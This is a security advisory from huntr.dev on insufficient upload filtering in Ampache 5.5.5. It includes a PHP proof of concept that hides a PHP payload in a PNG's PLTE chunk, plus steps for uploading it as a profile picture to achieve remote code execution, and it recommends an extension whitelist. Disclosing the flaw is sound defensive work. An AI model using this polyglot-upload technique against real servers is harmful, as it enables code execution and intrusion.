Lucene search

K
huntrCr4ckc4t5E7F3ECC-3B08-4E0E-8BF8-AE7AE229941F
HistoryDec 05, 2022 - 12:53 a.m.

Insufficient Upload Filtering

2022-12-0500:53:04
cr4ckc4t
www.huntr.dev
6
ampache 5.5.5
insufficient upload filtering
remote code execution
user profile
image upload
file extension whitelisting
vulnerability
security advisory
code execution
information disclosure

0.001 Low

EPSS

Percentile

34.7%

Description

The upload filter in Ampache 5.5.5 is insufficient and does not prevent authenticated users from uploading files with malicious extensions, which can lead to remote code execution (RCE) depending on the local server configuration.

This vulnerability assumes several things (which has been taken into account for the CVSS score):

1 - A default configuration of Ampache

2 - A dummy user test with normal user permissions (every account with the ability to change the profile picture for example will work)

3 - A non default configuration value: album_art_store_disk = "true" (default = "false") in ampache.cfg.php

4 - A non default configuration value: locate_metadata_dir = "/var/www/html" (default = none) in ampache.cfg.php

The mentioned configuration values allow the vendor to store images and songs (etc.) on disk instead of in the database. The administrator may choose any location accessible by the web-user for the storage directory, but should that path also be accessible via the browser any authenticated user may trigger remote code execution, see PoC.

Proof of Concept

Prepare a malicious profile picture by hiding a payload in the PLTE chunk: (the technique is described here)

<?php
$_payload="<?php phpinfo()?> ";
$_pay_len=strlen($_payload);
$width=$_pay_len/3;
$height=20;
$im = imagecreate($width, $height);
$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);
for($i=0; $i < count($_chunks); $i++){
  $_color_chunks=str_split($_chunks[$i], 2);
  $color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
  imagesetpixel($im,$i,1,$color);
}
imagepng($im,"profile.php");

Login as the dummy user, go to the profile settings and upload the malicious profile picture. Upon saving the profile, the image should render as weird blob.

The default location for the stored image will now be <HOST>/user/<user-id>/default/art-original.php where the <user-id> is an integer (admin = 1, next user created = 2, etc.). Upon requesting the uploaded file in the browser, the php code is executed.

PoC

Details

In src/Repository/Model/User.php line 1443, update_avatar() is called with the uploaded file and no sanitization checks on the extension. The file is then later processed in src/Repository/Model/Art.php where in line 351 it is checked whether it is a valid image. However, the extension is ignored at all times up to the point where the file is written in line 445 (write_to_dir()).

To mitigate the root issue (any extension is allowed) I would advise to implement an extension whitelist, possibly in the insert() function in Art.php.

0.001 Low

EPSS

Percentile

34.7%

Related for 5E7F3ECC-3B08-4E0E-8BF8-AE7AE229941F